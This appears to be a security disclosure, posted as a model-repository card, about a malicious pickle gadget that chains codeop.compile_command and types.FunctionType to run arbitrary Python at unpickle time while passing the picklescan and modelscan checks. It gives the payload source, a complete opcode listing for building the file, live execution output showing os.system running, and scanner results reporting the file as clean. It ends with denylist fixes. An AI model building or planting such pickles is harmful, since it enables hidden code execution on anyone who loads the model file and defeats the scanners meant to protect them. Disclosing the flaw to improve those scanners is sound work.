YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
New pickle RCE gadget: codeop.compile_command + types.FunctionType bypasses both modelscan and picklescan
Category: Malicious pickle / model-scanner denylist bypass (arbitrary code execution at deserialization time)
Targets
| Scanner | Version | Environment | Result on PoC |
|---|---|---|---|
| picklescan | 1.0.5 | Python 3.13.12 (/home/kali/hunt-workspace/scan313) |
CLEAN β Infected files: 0, exit 0 |
| modelscan | 0.8.8 | Python 3.12.13 (/home/kali/hunt-workspace/scan312) |
CLEAN β "No issues found! π", exit 0 |
Payload execution and picklescan run natively on Python 3.13.12.
Summary
Both scanners are opcode-denylist based: they inspect only GLOBAL / STACK_GLOBAL (module, name)
pairs against a hardcoded unsafe-callable list. This gadget references only callables absent from BOTH
denylists β codeop.compile_command and types.FunctionType β and never emits any GLOBAL for
os / system / exec / eval / compile.
At unpickle time the gadget:
- calls
codeop.compile_command(SOURCE, '<pickle>', 'exec')to compile an attacker-supplied Python source string into a livecodeobject, - wraps it with
types.FunctionType(code, {}), - invokes it via a bare
REDUCEwith().
The dangerous callable (os.system) exists only inside the plain string literal argument, which the
scanners never parse.
Root cause
Both scanners classify globals by matching (module, name) against a static set:
- picklescan
_unsafe_globalsliststypes: {CodeType}only β notFunctionTypeβ and has nocodeopentry at all. - modelscan
settings.unsafe_globalslists neithertypesnorcodeop.
Neither codeop.compile_command nor types.FunctionType appears on either denylist, so the whole opcode
stream is considered benign. The compilation of the payload happens in-process from a human-readable string
that the scanners treat as opaque data.
PoC
Hand-assembled protocol-4 pickle. Files: evil.pkl (also evil.joblib, byte-identical). Generator:
gen_poc.py. Negative control: control_os.pkl (classic os.system GLOBAL).
SOURCE = "import os; os.system('id > PWNED_codeop 2>&1; echo codeop_functype_gadget_executed >> PWNED_codeop')"
Opcode stream (pickletools.dis(evil.pkl))
0: \x80 PROTO 4
2: \x8c SHORT_BINUNICODE 'types'
9: \x8c SHORT_BINUNICODE 'FunctionType'
23: \x93 STACK_GLOBAL
24: \x8c SHORT_BINUNICODE 'codeop'
32: \x8c SHORT_BINUNICODE 'compile_command'
49: \x93 STACK_GLOBAL
50: ( MARK
51: \x8c SHORT_BINUNICODE "import os; os.system('id > .../PWNED_codeop 2>&1; echo codeop_functype_gadget_executed >> .../PWNED_codeop')"
251: \x8c SHORT_BINUNICODE '<pickle>'
261: \x8c SHORT_BINUNICODE 'exec'
267: t TUPLE (MARK at 50)
268: R REDUCE # -> code object (codeop.compile_command(SOURCE,'<pickle>','exec'))
269: } EMPTY_DICT
270: \x86 TUPLE2 # -> (code, {})
271: R REDUCE # -> function (types.FunctionType(code, {}))
272: ) EMPTY_TUPLE
273: R REDUCE # -> executes function()
274: . STOP
highest protocol among opcodes = 4
Captured evidence (verbatim, live re-run)
EXECUTE evil.pkl on py3.13
### EXECUTE evil.pkl on py3.13 ###
Python 3.13.12
load returned
--- marker file ---
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin)
codeop_functype_gadget_executed
picklescan (1.0.5, py3.13) evil.pkl
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Suspicious globals: 2
Dangerous globals: 0
exit=0
The 2 "suspicious" globals are types.FunctionType and codeop.compile_command β neither classified
Dangerous, exit 0 = clean pass (picklescan only fails/flags on Dangerous globals).
modelscan (0.8.8, py3.12) evil.pkl
Scanning .../evil.pkl using modelscan.scanners.PickleUnsafeOpScan model scan
--- Summary ---
No issues found! π
exit=0
NEGATIVE CONTROL control_os.pkl (classic os.system GLOBAL β both scanners catch it)
picklescan:
.../control_os.pkl: dangerous import 'posix system' FOUND
Infected files: 1
Dangerous globals: 1
exit=1
modelscan:
Total Issues: 1
- CRITICAL: 1
Unsafe operator found:
- Severity: CRITICAL
- Description: Use of unsafe operator 'system' from module 'posix'
exit=1
The negative control proves the toolchain detects the classic gadget; the novel gadget slips through both.
Dedup / prior-art note
- Distinct from the already-covered marshal + FunctionType + operator.call gadget: this PoC uses
no
marshal(it ships human-readable Python source compiled in-process rather than pre-marshalled bytecode) and nooperator.call(a bareREDUCEinvokes the function). - The primary novel callable
codeop.compile_commandhas not appeared in any prior published gadget.codeopis not on either scanner's denylist. types.FunctionTypeis likewise absent from both denylists (picklescan lists onlytypes.CodeType).- Not covered by any known CVE against picklescan 1.0.5 or modelscan 0.8.8; both denylists in their current released form omit these callables.
Suggested remediation
Add codeop.compile_command (and the whole codeop module of compile helpers), plus types.FunctionType,
to the unsafe-globals denylists. More robustly, treat any callable that can compile/eval a string or
construct a function/code object as dangerous, since denylisting individual names is inherently
bypass-prone.